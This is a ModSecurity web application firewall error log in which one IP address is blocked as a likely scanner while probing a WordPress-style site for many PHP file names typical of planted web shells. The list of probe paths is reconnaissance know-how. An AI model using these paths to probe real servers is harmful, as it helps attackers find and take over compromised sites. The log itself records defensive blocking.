[Sun Apr 26 05:04:27.267197 2026] [:error] [pid 41906:tid 41917] [client 20.199.180.228:14485] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file4.php"] [unique_id "ae0sWz3-0A3lxw9OXoDqxQAAAYk"]
[Sun Apr 26 05:04:27.871297 2026] [:error] [pid 10315:tid 10338] [client 20.199.180.228:14496] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "ae0sW6JIw2vjkleLIaB7KgAAARU"]
[Sun Apr 26 05:04:28.468623 2026] [:error] [pid 8385:tid 8440] [client 20.199.180.228:65355] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "ae0sXDOy7_J84Wx3-oxTEwAAAFA"]
[Sun Apr 26 05:04:29.106796 2026] [:error] [pid 8385:tid 8432] [client 20.199.180.228:65426] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "ae0sXTOy7_J84Wx3-oxTFgAAAEg"]
[Sun Apr 26 05:04:29.730320 2026] [:error] [pid 41906:tid 41931] [client 20.199.180.228:14574] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/sk25_1.php"] [unique_id "ae0sXT3-0A3lxw9OXoDqygAAAZc"]
[Sun Apr 26 05:04:30.331305 2026] [:error] [pid 8385:tid 8426] [client 20.199.180.228:14536] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "ae0sXjOy7_J84Wx3-oxTHgAAAEI"]
[Sun Apr 26 05:04:30.809322 2026] [:error] [pid 10315:tid 10325] [client 20.199.180.228:65384] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "ae0sXqJIw2vjkleLIaB7MgAAAQg"]
[Sun Apr 26 05:04:31.437040 2026] [:error] [pid 8383:tid 8409] [client 20.199.180.228:65347] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "ae0sX9Fa2S3EsATMdWOytwAAAAw"]
[Sun Apr 26 05:04:32.017126 2026] [:error] [pid 8383:tid 8419] [client 20.199.180.228:65353] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/usep.php"] [unique_id "ae0sYNFa2S3EsATMdWOyuQAAABY"]
[Sun Apr 26 05:04:32.570564 2026] [:error] [pid 10315:tid 10341] [client 20.199.180.228:65387] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ae0sYKJIw2vjkleLIaB7NAAAARg"]
[Sun Apr 26 05:04:33.091642 2026] [:error] [pid 31273:tid 31337] [client 20.199.180.228:14550] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ae0sYfhcNJEGrATcuEev_gAAAUI"]
[Sun Apr 26 05:04:33.655707 2026] [:error] [pid 8383:tid 8408] [client 20.199.180.228:14484] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ae0sYdFa2S3EsATMdWOyvAAAAAs"]
[Sun Apr 26 05:04:34.203176 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:14557] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/vx.php"] [unique_id "ae0sYj3-0A3lxw9OXoDq0QAAAY8"]
[Sun Apr 26 05:04:34.813400 2026] [:error] [pid 8390:tid 8453] [client 20.199.180.228:14589] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ae0sYoGPtFK_i9p5yxQDngAAAII"]
[Sun Apr 26 05:04:35.429518 2026] [:error] [pid 8491:tid 8524] [client 20.199.180.228:65417] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ae0sYyq7I7e6CJooQM1-YwAAANg"]
[Sun Apr 26 05:04:35.971690 2026] [:error] [pid 31273:tid 31361] [client 20.199.180.228:14562] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ae0sY_hcNJEGrATcuEewCQAAAVY"]
[Sun Apr 26 05:04:36.496889 2026] [:error] [pid 31273:tid 31362] [client 20.199.180.228:14491] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v4.php"] [unique_id "ae0sZPhcNJEGrATcuEewDgAAAVc"]
[Sun Apr 26 05:04:37.205858 2026] [:error] [pid 8491:tid 8502] [client 20.199.180.228:14481] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp4.php"] [unique_id "ae0sZSq7I7e6CJooQM1-aAAAAMM"]
[Sun Apr 26 05:04:37.745666 2026] [:error] [pid 8383:tid 8417] [client 20.199.180.228:65452] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp4.php"] [unique_id "ae0sZdFa2S3EsATMdWOywQAAABQ"]
[Sun Apr 26 05:04:38.388276 2026] [:error] [pid 8491:tid 8499] [client 20.199.180.228:65427] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp4.php"] [unique_id "ae0sZiq7I7e6CJooQM1-agAAAMA"]
[Sun Apr 26 05:04:39.026561 2026] [:error] [pid 8383:tid 8400] [client 20.199.180.228:14473] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp4.php"] [unique_id "ae0sZ9Fa2S3EsATMdWOywwAAAAM"]
[Sun Apr 26 05:04:39.840189 2026] [:error] [pid 41906:tid 41916] [client 20.199.180.228:14508] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0sZz3-0A3lxw9OXoDq1wAAAYg"]
[Sun Apr 26 05:04:40.928383 2026] [:error] [pid 8383:tid 8420] [client 20.199.180.228:14493] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0saNFa2S3EsATMdWOyxQAAABc"]
[Sun Apr 26 05:04:41.420407 2026] [:error] [pid 41906:tid 41931] [client 20.199.180.228:65403] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0saT3-0A3lxw9OXoDq2wAAAZc"]
[Sun Apr 26 05:04:41.979738 2026] [:error] [pid 41906:tid 41910] [client 20.199.180.228:14478] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp.php"] [unique_id "ae0saT3-0A3lxw9OXoDq3QAAAYI"]
[Sun Apr 26 05:04:42.464965 2026] [:error] [pid 8385:tid 8448] [client 20.199.180.228:14472] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mamzi.php"] [unique_id "ae0sajOy7_J84Wx3-oxTLAAAAFg"]
[Sun Apr 26 05:04:43.042732 2026] [:error] [pid 8491:tid 8515] [client 20.199.180.228:14403] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mamzi.php"] [unique_id "ae0sayq7I7e6CJooQM1-ewAAANA"]
[Sun Apr 26 05:04:43.630871 2026] [:error] [pid 8383:tid 8415] [client 20.199.180.228:65471] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mamzi.php"] [unique_id "ae0sa9Fa2S3EsATMdWOyywAAABI"]
[Sun Apr 26 05:04:44.220749 2026] [:error] [pid 8385:tid 8444] [client 20.199.180.228:14539] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/mamzi.php"] [unique_id "ae0sbDOy7_J84Wx3-oxTMAAAAFQ"]
[Sun Apr 26 05:04:44.735493 2026] [:error] [pid 8385:tid 8437] [client 20.199.180.228:14528] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpls.php"] [unique_id "ae0sbDOy7_J84Wx3-oxTMwAAAE0"]
[Sun Apr 26 05:04:45.253744 2026] [:error] [pid 10315:tid 10325] [client 20.199.180.228:65390] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpls.php"] [unique_id "ae0sbaJIw2vjkleLIaB7RgAAAQg"]
[Sun Apr 26 05:04:45.879525 2026] [:error] [pid 8383:tid 8398] [client 20.199.180.228:14591] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpls.php"] [unique_id "ae0sbdFa2S3EsATMdWOy0AAAAAE"]
[Sun Apr 26 05:04:46.412544 2026] [:error] [pid 10315:tid 10340] [client 20.199.180.228:14412] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wpls.php"] [unique_id "ae0sbqJIw2vjkleLIaB7SgAAARc"]
[Sun Apr 26 05:04:46.990914 2026] [:error] [pid 41906:tid 41923] [client 20.199.180.228:14449] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "ae0sbj3-0A3lxw9OXoDq5wAAAY8"]
[Sun Apr 26 05:04:47.598933 2026] [:error] [pid 31273:tid 31345] [client 20.199.180.228:14499] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "ae0sb_hcNJEGrATcuEewFQAAAUc"]
[Sun Apr 26 05:04:48.105627 2026] [:error] [pid 10315:tid 10333] [client 20.199.180.228:14486] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "ae0scKJIw2vjkleLIaB7TQAAARA"]
[Sun Apr 26 05:04:48.676213 2026] [:error] [pid 41906:tid 41922] [client 20.199.180.228:65391] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/xrp.php"] [unique_id "ae0scD3-0A3lxw9OXoDq6gAAAY4"]
[Sun Apr 26 05:04:49.264605 2026] [:error] [pid 41906:tid 41915] [client 20.199.180.228:14535] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ae0scT3-0A3lxw9OXoDq7AAAAYc"]
[Sun Apr 26 05:04:49.749884 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:14578] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ae0scaJIw2vjkleLIaB7UwAAARQ"]
[Sun Apr 26 05:04:50.356630 2026] [:error] [pid 8385:tid 8436] [client 20.199.180.228:14476] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ae0scjOy7_J84Wx3-oxTOgAAAEw"]
[Sun Apr 26 05:04:50.956883 2026] [:error] [pid 8383:tid 8400] [client 20.199.180.228:14511] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/v2.php"] [unique_id "ae0sctFa2S3EsATMdWOy1gAAAAM"]
[Sun Apr 26 05:04:51.519131 2026] [:error] [pid 31273:tid 31354] [client 20.199.180.228:14467] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-acc.php"] [unique_id "ae0sc_hcNJEGrATcuEewGAAAAU8"]
[Sun Apr 26 05:04:52.117182 2026] [:error] [pid 8385:tid 8441] [client 20.199.180.228:14563] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-acc.php"] [unique_id "ae0sdDOy7_J84Wx3-oxTPgAAAFE"]
[Sun Apr 26 05:04:52.620876 2026] [:error] [pid 10315:tid 10320] [client 20.199.180.228:65397] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-acc.php"] [unique_id "ae0sdKJIw2vjkleLIaB7ZQAAAQM"]
[Sun Apr 26 05:04:53.201451 2026] [:error] [pid 41906:tid 41913] [client 20.199.180.228:14546] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-acc.php"] [unique_id "ae0sdT3-0A3lxw9OXoDq9QAAAYU"]
[Sun Apr 26 05:04:53.769556 2026] [:error] [pid 8383:tid 8411] [client 20.199.180.228:14514] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae0sddFa2S3EsATMdWOy3AAAAA4"]
[Sun Apr 26 05:04:54.321616 2026] [:error] [pid 8491:tid 8506] [client 20.199.180.228:14470] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae0sdiq7I7e6CJooQM1-hgAAAMc"]
[Sun Apr 26 05:04:54.911178 2026] [:error] [pid 41906:tid 41926] [client 20.199.180.228:14479] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae0sdj3-0A3lxw9OXoDq-wAAAZI"]
[Sun Apr 26 05:04:55.462788 2026] [:error] [pid 41906:tid 41908] [client 20.199.180.228:14431] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/333.php"] [unique_id "ae0sdz3-0A3lxw9OXoDq_wAAAYA"]
[Sun Apr 26 05:04:56.011859 2026] [:error] [pid 41906:tid 41928] [client 20.199.180.228:14426] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ae0seD3-0A3lxw9OXoDrBAAAAZQ"]
[Sun Apr 26 05:04:56.537610 2026] [:error] [pid 31273:tid 31360] [client 20.199.180.228:14530] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ae0sePhcNJEGrATcuEewGwAAAVU"]
[Sun Apr 26 05:04:57.099668 2026] [:error] [pid 10315:tid 10337] [client 20.199.180.228:14448] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ae0seaJIw2vjkleLIaB7ggAAARQ"]
[Sun Apr 26 05:04:57.615729 2026] [:error] [pid 41906:tid 41925] [client 20.199.180.228:65395] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/031.php"] [unique_id "ae0seT3-0A3lxw9OXoDrDgAAAZE"]
[Sun Apr 26 05:04:58.154880 2026] [:error] [pid 8491:tid 8508] [client 20.199.180.228:14562] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae0seiq7I7e6CJooQM1-hwAAAMk"]
[Sun Apr 26 05:04:58.686433 2026] [:error] [pid 8383:tid 8415] [client 20.199.180.228:14402] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae0setFa2S3EsATMdWOy3wAAABI"]
[Sun Apr 26 05:04:59.239351 2026] [:error] [pid 8390:tid 8471] [client 20.199.180.228:65399] [client 20.199.180.228] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-trackback.php"] [unique_id "ae0se4GPtFK_i9p5yxQD4AAAAJQ"]
